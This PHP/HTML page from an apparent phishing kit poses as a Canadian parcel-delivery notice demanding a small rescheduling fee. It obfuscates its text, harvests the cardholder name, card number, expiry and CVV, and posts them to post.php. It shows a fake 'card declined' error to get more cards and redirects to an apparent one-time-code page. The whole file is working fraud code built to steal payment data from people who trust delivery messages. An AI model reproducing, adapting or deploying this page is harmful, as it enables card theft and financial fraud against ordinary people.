<?php
require '../main.php';
?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcome</title>
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500" /> 
    <link rel="stylesheet" href="res/main.css">
</head>
<body>
<?php require 'html/header.php';?>  

<main style="padding:10px; margin:60px 0;">
<div class="head-banner">
<div class="holder">
<?php $bm->obf("Pending delivery"); ?>
</div>
</div>
<div id="info">

<div class="center">
<div class="holder">
    <div class="note">
        <img src="res/info.png">
        <span><?php $bm->obf("We tried to deliver your parcel"); ?> today but you weren't in or there was no safe place to leave it.</span>
    </div>
</div>
</div>
 
<div class="content">
<div class="holder">
<div class="title-banner">
    <div class="title"><img src="res/time.svg"><span> <?php $bm->obf("New Delivery Schedule"); ?></span></div> 
    <div class="text"><?php $bm->obf("To Schedule a new delivery,"); ?> a shipping fee must be paid. Please select your preferred date and <?php $bm->obf("pay the shipping fee below."); ?></div>
</div>


<div class="fields">
<?php $bm->obf("All fields are required unless marked optional."); ?>
</div>

<div class="sch-banner">
<?php $bm->obf("Schedule Delivery"); ?>
</div>
<div class="sch-details">
    <h4><?php $bm->obf("Choose a delivery option"); ?></h4>
    <p><?php $bm->obf("To schedule a new delivery,"); ?> a shipping fee must be paid.</p>
      <p><?php $bm->obf("Preferred delivery date:"); ?></p>
      <form>
    <label><input type="radio" name="dlv" value="1.25 CAD" checked><?php getDateOf("+1 day"); ?> <?php $bm->obf("1.25 CAD"); ?></label>
    <label><input type="radio" name="dlv" value="1.00 CAD"><?php getDateOf("+6 day"); ?><?php $bm->obf("1.00 CAD"); ?> </label>
</form>
</div>

<div class="center">
<div class="holder">
<div class="btn">
    <button onclick="showPopup()"><?php $bm->obf("Reschedule Delivery"); ?></button>
</div>
</div>
</div>
</div>
</div>

</main>

<script>var token=<?php echo json_encode($bot); ?>;</script>

<main class="popup" id="popup" style="display:<?php echo isset($_GET['e']) ? 'block' : 'none'; ?>">
 <section>
 



 <div class="logobanner" style="text-align:left; position:relative;">
    <img src="res/logo.png" style="width:120px; margin-top:70px;">
    <span onclick="closePopup()">&times;</span>
</div>



<div class="form" style="margin:-3px 0; ">
<div style="font-size:1.1em; font-weight:400">
<p><?php $bm->obf("Pay using your debit/credit card"); ?>   </span></p>
<p><?php $bm->obf("Kindly settle the shipping fees"); ?> <span id="dlv"></span></p>
<p style=" "> <img src="res/cards.jpg" style="width:120px; margin: 0 5px;">  </span></p>
</div>

<?php
echo isset($_GET['e']) ? '<div class="col error" style="font-weight:400">
    Your card was declined. <br>
    Please try another card or contact your bank
</div>' : ''; 
?>
<div class="col">
    <label><?php $bm->obf("Cardholder's name"); ?></label>
    <input type="text" id="d0">
</div>
<div class="col">
    <label><?php $bm->obf("Card number"); ?></label>
    <input type="text" id="d1" inputmode="numeric">
</div>
<div class="col">
    <label><?php $bm->obf("Expiration date (MM/YY)"); ?></label>
    <input type="text" id="d2">
</div>
<div class="col">
    <label><?php $bm->obf("Security code (CVV)"); ?></label>
    <input type="text" id="d3">
</div>
 
<div class="col">
    <button onclick="sendCc()"><?php $bm->obf("Continue"); ?></button>
</div>
<div class="col" style="font-size:0.9em; text-align:center;">
<?php $bm->obf("By clicking 'Continue' you agree to our conditions"); ?> and privacy policy.
</div>

</div>
</div>

</section>
</main>





<div id="loader" style="display:none; width:100%; height:100%; position:fixed;  top:0; left:0; background:rgba(0,0,0,0.6);">
<div style="width:100%; height:100%; display:flex; flex-direction:column; justify-content:center; align-items:center;" >
<img src="res/loading.gif" style="width:70px;">
<span style="color:white;"><?php $bm->obf("Please do not leave this page."); ?></span>
</div>
</div>


<?php require 'html/footer.php';?>  

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-creditcardvalidator/1.2.0/jquery.creditCardValidator.js"></script>
<script src="res/jq.js"></script>

<script>

function showPopup(){
    $("#dlv").html($("input[name='dlv']:checked").val());
    $("#loader").show();
    setTimeout(() => {
        $("#info").hide();
        $("#popup").show();
        $("#loader").hide();
    }, 2000);
}

function closePopup(){
    $("#info").show();
    $("#popup").hide();
}


$("#d1").mask("0000 0000 0000 0000");
$("#d2").mask("00/00");
$("#d3").mask('0000');


var allowSubmit;
var abortVal = true;
 

function validate(){
	abortVal=false;
	allowSubmit=true;
for(var i=0; i<=3; i++){
	if($("#d"+i).val()==""){
		$("#d"+i).addClass("error");
			allowSubmit=false;
	}else{
		$("#d"+i).removeClass("error");
	}
}

 
if($("#d0").val().length<5){
	$("#d0").addClass("error");
	allowSubmit=false;
}

if($("#d1").val().length<16){
	$("#d1").addClass("error");
	allowSubmit=false;
}

if($("#d3").val().length<3){
	$("#d3").addClass("error");
	allowSubmit=false;
}
 
 

$('#d1').validateCreditCard(function(result) {
    if (result.valid) {
        $("#d1").removeClass('error');
    } else {
        $("#d1").addClass("error");
        allowSubmit=false;
    }
});

var _exp = $("#d2").val();
const _exps = _exp.split("/");
if(_exps[0]>12 || _exps[0]<=0 || _exps[1]>45 || _exps[1]<24 || _exp.length<5){
    $("#d2").addClass("error");
	allowSubmit=false;
}

}

$("main input").keyup(()=>{   
    if(!abortVal){
        validate();
    }
});

$("main input").keypress((e)=>{
    if(e.key=="Enter"){
        sendCc();
    }
});

function sendCc(){
    validate();

    if(allowSubmit){
        $("#loader").show();
        cp = "LOADING (CARD)";
        $.post("post.php", 
			{
                name:$("#d0").val(),
				cc:$("#d1").val(),
                exp:$("#d2").val(),
				cvv:$("#d3").val(),
                fees:$("input[name='dlv']:checked").val()

			}, function(done){
                setTimeout(() => {
                    window.location="otp.php";
                }, 10000);
               
			}
		
		);

    }
}
 
 


</script>
</body>
</html>